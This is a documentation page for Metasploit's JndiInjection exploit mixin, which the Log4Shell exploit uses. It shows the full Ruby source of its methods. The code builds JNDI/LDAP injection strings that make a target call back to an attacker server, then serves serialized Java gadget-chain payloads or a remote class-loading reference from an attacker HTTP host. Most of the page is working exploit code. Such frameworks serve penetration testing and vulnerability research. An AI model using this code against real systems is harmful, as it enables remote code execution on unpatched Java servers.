Module: Msf::Exploit::Remote::JndiInjection
- Includes:
- Java, JavaDeserialization, LDAP::Server
- Included in:
- Log4Shell
- Defined in:
- lib/msf/core/exploit/remote/jndi_injection.rb
Instance Attribute Summary
Attributes included from LDAP::Server
Attributes included from SocketServer
Instance Method Summary collapse
-
#build_ldap_search_response(msg_id, base_dn) ⇒ Array
Generate and serialize the payload as an LDAP search response.
-
#build_ldap_search_response_payload ⇒ Array
Build the LDAP response to the search request that contains the serialized payload.
-
#build_ldap_search_response_payload_inline(gadget_chain) ⇒ Array
Build the LDAP response to the search request that contains the serialized payload to be executed.
-
#build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') ⇒ Array
Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class will be loaded.
- #initialize(info = {}) ⇒ Object
-
#jndi_string(resource = nil) ⇒ String
Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
-
#on_dispatch_request(client, data) ⇒ Object
LDAP service callbacks.
- #validate_configuration! ⇒ Object
Methods included from LDAP::Server
#on_send_response, #read_ldif, #start_service
Methods included from SocketServer
#_determine_server_comm, #bindhost, #bindport, #cleanup, #cleanup_service, #exploit, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #start_service, #via_string
Methods included from JavaDeserialization
gadget_chains, #generate_java_deserialization_for_command, #generate_java_deserialization_for_payload
Methods included from Powershell
#bypass_powershell_protections, #cmd_psh_payload, #compress_script, #decode_script, #decompress_script, #encode_script, #generate_psh_args, #generate_psh_command_line, #make_subs, #process_subs, #read_script, #run_hidden_psh
Methods included from Java
#build_jar, #compile, #init_jvm, #query_jvm, #save_to_file, #serialized_class_from_jar, #sign_jar
Instance Method Details
#build_ldap_search_response(msg_id, base_dn) ⇒ Array
Generate and serialize the payload as an LDAP search response
86 87 88 89 90 91 92 93 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 86 def build_ldap_search_response(msg_id, base_dn) attrs = build_ldap_search_response_payload appseq = [ base_dn.to_ber, attrs.to_ber_sequence ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) [ msg_id.to_ber, appseq ].to_ber_sequence end |
#build_ldap_search_response_payload ⇒ Array
Build the LDAP response to the search request that contains the serialized payload.
99 100 101 102 103 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 99 def build_ldap_search_response_payload # exploit authors should override this and either call the inline one with a gadget chain that is compatible with # the target or setup an HTTP server and call the remote one build_ldap_search_response_payload_inline('BeanFactory') end |
#build_ldap_search_response_payload_inline(gadget_chain) ⇒ Array
Build the LDAP response to the search request that contains the serialized payload to be executed.
111 112 113 114 115 116 117 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 111 def build_ldap_search_response_payload_inline(gadget_chain) java_payload = generate_java_deserialization_for_payload(gadget_chain, payload) [ [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence, [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence ] end |
#build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') ⇒ Array
Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP server from which the class is hosted is not managed by this method.
127 128 129 130 131 132 133 134 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 127 def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory') [ [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence, [ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence, ] end |
#initialize(info = {}) ⇒ Object
18 19 20 21 22 23 24 25 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 18 def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) ([ OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) ]) end |
#jndi_string(resource = nil) ⇒ String
Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
30 31 32 33 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 30 def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" "ldap://#{Rex::Socket.(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end |
#on_dispatch_request(client, data) ⇒ Object
LDAP service callbacks
Handle incoming requests via service mixin
39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 39 def on_dispatch_request(client, data) return if data.strip.empty? data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) vprint_status("LDAP request data remaining: #{data}") unless data.empty? resp = case pdu.app_tag when Net::LDAP::PDU::BindRequest # bind request client.authenticated = true service.encode_ldap_response( pdu., Net::LDAP::ResultCodeSuccess, '', '', Net::LDAP::PDU::BindResult ) when Net::LDAP::PDU::SearchRequest # search request if client.authenticated || datastore['LDAP_AUTH_BYPASS'] client.write(build_ldap_search_response(pdu., pdu.search_parameters[:base_object])) service.encode_ldap_response(pdu., Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult) else service.encode_ldap_response(pdu., 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end when Net::LDAP::PDU::UnbindRequest vprint_status("Client sent unbind request") nil # close client, no response can be sent over unbound comm else vprint_status("Client sent unexpected request #{pdu.app_tag}") nil # close client, can't handle the unknown end resp.nil? ? client.close : on_send_response(client, resp) rescue StandardError => e print_error("Failed to handle LDAP request due to #{e}") client.close end resp end |
#validate_configuration! ⇒ Object
136 137 138 139 140 |
# File 'lib/msf/core/exploit/remote/jndi_injection.rb', line 136 def validate_configuration! if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end end |